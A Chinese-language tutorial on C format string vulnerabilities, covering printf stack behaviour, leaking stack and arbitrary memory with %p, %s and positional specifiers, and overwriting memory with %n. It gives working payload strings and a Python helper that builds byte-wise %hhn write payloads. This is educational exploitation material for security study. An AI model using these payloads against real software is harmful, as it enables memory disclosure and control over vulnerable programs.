目錄
0x01.格式化字符串的基礎知識
1.格式化字符串說明
- 格式化字符串函數可以接受可變數量的參數,並將第一個參數作爲格式化字符串,根據其來解析之後的參數。
- 格式化字符串函數就是將計算機內存中表示的數據轉化爲我們人類可讀的字符串格式。
- 幾乎所有的C/C++程序都會利用格式化字符串函數來輸出信息,調試程序,或者處理字符串。
2.常見帶格式化字符串的函數
函數 | 作用 |
scanf | 基本輸入 |
printf | 基本輸出 |
fprintf | 輸出到FILE流 |
vprintf | 格式化輸出到stdout |
sprintf | 輸出到字符串 |
snprintf | 輸出指定字節數到字符串 |
vfprintf | 根據參數列表格式化輸出到指定FILE流 |
3.格式化字符串的格式
%[parameter][flags][field width][.precision][length]type
參數 | 含義 |
parameter | n$,獲取格式化字符串中的指定參數 |
flags | 可爲0個或多個(暫時不重要) |
field width | 輸出的最小寬度 |
precision | 輸出的最大長度 |
length | 輸出的長度 |
type |
d/i,有符號整數
u,無符號整數
o,8進制unsigned int 。
p, void *型,輸出對應變量的值
n,不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。
%,
% 字面值,不接受任何flags, width。 |
0x02.格式化字符串在內存中的原理
1.舉例
printf("My name is %s,my age is %d,and I have %5.2f money","ATFWUS",19,67.38);
2.調用printf前,棧的佈局
下面是高地址,上面是低地址:(printf的傳參順序爲從右往左)
"My name is %s,my age is %d,and I have %5.2f money"的地址 |
"ATFWUS"的地址 |
19 |
67.38 |
一些其它變量 |
3.調用printf時的工作原理
- 先獲取第一個參數,也就是最大字符串的地址。
- 一個個讀取字符,並分情況討論。
- 不是%直接輸出。
- 是%繼續讀取下一個字符。
- 如果後面沒有字符,報錯。
- 如果後面是%,輸出%。
- 如果後面是有效參數,如d等,獲取相應的參數,並解析參數輸出。
4.特殊情況
- 如果在第一個參數中寫入了相關格式,但後面沒有相應的參數對應,例如:
printf("My name is %s,my age is %d,and I have %5.2f money")
此時,程序不會報錯,而是會將格式化字符串的下面三個參數書,分別解析爲字符串,整數,浮點數,輸出時,如果解析字符串遇到不可訪問地址,程序就會崩潰。
0x03.漏洞的利用
1.造成程序崩潰
如果存在如下代碼:
char s[1000];
scanf("%s",s);
printf(s);
我們只需要在輸入的時候,輸入很多的%s,就有很大概率遇到不可訪問地址:
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
2.泄露棧內存
繼續看以上代碼,如果輸入如下數據:
%08x %08x %08x
那麼調用printf的時候棧佈局如下:
返回地址 |
"%08x %08x %08x"的地址 |
棧的其它變量或地址 |
棧的其它變量或地址 |
棧的其它變量或地址 |
當讀取到%08x的時候,就會往這個字符串下面的地址去按照找參數,將下方的地址或數值以十六進制的數據形式打印出來。
那麼輸入上面字符串的時候,就會泄露它在棧中下方的三個變量或地址值。
輸入以下也是一樣:
%p %p %p
利用%x可以獲取對應棧的內存,但建議使用%p,可以不用考慮位數的區別。
3.獲取棧中被視爲指定參數的值
之所以說被視爲,是因爲不是實際的參數,而是棧中的變量或者地址,是printf誤讀取的值。
獲取被視爲第n+1個參數的值:
%n$x
n$是一個格式化字符串中的參數,獲取指定的參數,是第幾個參數,x是輸出的形式。
對n來說,是格式化字符串中的第多少個參數。
對printf來說,是所有參數中第多少個參數,因爲包含格式化字符串,所以應該算是第n+1個。
如輸入如下值:
%3$x
那麼,將輸出格式化字符串下面的第三個參數,也就是函數的第4個參數。
4.獲取棧中變量對應的字符串
如果輸入如下值:
%3$s
將將格式化字符串下的第3個參數解析爲字符串輸出,輸出地址,但是,如果對應的變量不能夠被解析爲字符串地址,那麼,程序就會直接崩潰。
5.泄露任意地址的內存
上述方法都用於泄露棧中的內存,但實際需要的往往需要獲取用處大的地址,比如got表地址。
對於泄露任意地址的內存,我們首先需要知道該格式化字符串在輸出函數調用時是第幾個參數。該格式化字符串可以看成主函數的局部變量。而局部變量都是存儲在棧中的。
方法如下:
AAAA.%p%p%p%p%p%p%p%p%p%p%p%p%p
可以理解成:先輸入一個指定字符(如‘AAAA’),然後輸入許多%p,如果後面有個地址的內存(0x41414141)和AAAA一樣,就大概率可以確定是格式化字符串的第幾個參數。AAAA後多少個,就是格式化字符串的第多少個參數,就是函數的第多少個加1的參數。
知道是第幾個參數後,就可以進行任意內存的讀取了。
這是一個相對偏移量,後面的泄露都可以利用這個相對偏移量。
填充字符用一個已知地址,就可以讀出偏移那個地址的內存了。
例如用scanf的got的地址填充,然後用%k$s讀取,就可以讀取真正的地址了。
輸入的字符串的前4個字節如果是一個有效的字符串的首地址,就可以用%s將其打印出來,做到任意內存讀取。如果不是有效的字符串,會出現段錯誤。
6.覆蓋內存
利用格式化字符串漏洞,可以覆蓋某些內存。
首先要理解下面這個格式化字符串的參數:
%n,不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。
有寫入,自然好利用。
修改棧上變量的例子:
int a=5;
char s[100];
printf(s);
if(a==14){
printf("Get!");
}
return 0;
首先需要確定一下相對偏移量,利用上面的方法確定,這裏假設是8。
獲得a的地址,需要關閉ASLR,或者直接打印出來。假設已經得到爲a_addr。
那麼覆蓋的payload爲:
[a_addr]%010d%8$n
a的地址長度爲4,要覆蓋爲14,還需要10個字節數據,後面是向相對第8個參數寫入輸出的字符串長度,也就是14。
修改小數字的例子:
如果上面要修改a爲2,那麼按上面的方法,看似無法成功,因爲地址已經佔了四個字節了。
但其實我們不一定非得把地址放到第一個參數,我們可以把地址放在中間,或者後面。
同樣假設偏移量爲8,那麼我們的payload爲:
aa%10$naa+a_adr
原因是格式化字符串爲第8個參數,那麼aa%10爲第8個參數,$naa爲第九個參數,a的地址爲第10個參數,只要寫入到第10個參數中就行了。
修改大數字的例子:
- 所有的變量在內存中都是以字節進行存儲的。
- 在x86和x64的體系結構中,變量的存儲格式爲以小端存儲,即最低有效位存儲在低地址。
如下參數:
hh 對於整數類型,printf期待一個從char提升的int尺寸的整型參數。
h 對於整數類型,printf期待一個從short提升的int尺寸的整型參數。
- %hn,%hhn,%lln,分別爲寫入目標空間2字節,1字節,8字節。
- 我們可以利用%hhn向某個地址寫入單字節。
- 利用%hn向某個地址寫入雙字節。
具體的payload如下:
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
- offset表示要覆蓋的地址最初的偏移
- size表示機器字長
- addr表示將要覆蓋的地址
- target表示我們要覆蓋爲的目的變量值
- 用%n分別對每個地址進行寫入,程序有可能因此崩潰。